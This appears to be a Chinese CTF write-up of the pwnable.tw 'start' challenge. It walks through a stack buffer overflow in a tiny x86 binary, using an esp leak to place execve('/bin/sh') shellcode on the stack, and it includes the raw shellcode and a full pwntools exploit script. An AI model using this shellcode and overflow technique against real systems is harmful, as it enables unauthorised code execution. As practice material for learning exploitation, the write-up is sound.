pwnable.tw_start

pwnable.tw_challenge_start

载入IDA分析:

0x01 _start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn

可以看到关键几点:

1
2
3
4
5
6
7
8
9
10
开始时esp入栈:push    esp
而后代表字符串:"Let's start the CTF:"的数据入栈:
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
调用80h中断中的4号程序:sys_write显示字符串
调用80h中断中的3号程序:sys_read读入字符串
栈帧大小为(我们需要覆盖的长度)20字节: add esp, 14h

这里附上system_call的系统调用表网址:

1
http://syscalls.kernelgrok.com/

0x02 获取shell

很显然,这里需要利用第二步调用中断的sys_read来覆盖返回地址来获取shell,因此我们需要:

1
2
1   获得esp地址以便覆盖返回地址来执行我们的shellcode
2 使用shellcode覆盖栈中数据

开始时,_start中将esp入栈,而最后_start返回时栈顶便是我们需要的esp值
我们需要构造payload:

1
payload=任意20字节字符串+p32(调用sys_write的mov     ecx, esp地址)

获取esp值后,我们将shellcode入栈并利用覆盖返回地址来执行:

1
payload=任意20字节字符串+p32(esp+20)+shellcode

0x03 shellcode

利用80h中断中的sys_execve:

1
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

即:

1
2
3
4
5
6
7
8
31 c9                   xor    ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f ;传入参数/bin/sh
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb ;调用80h中断中b号程序:sys_execve
cd 80 int 0x80

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
from pwn import  *

p = remote('chall.pwnable.tw',10000)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)
p.interactive()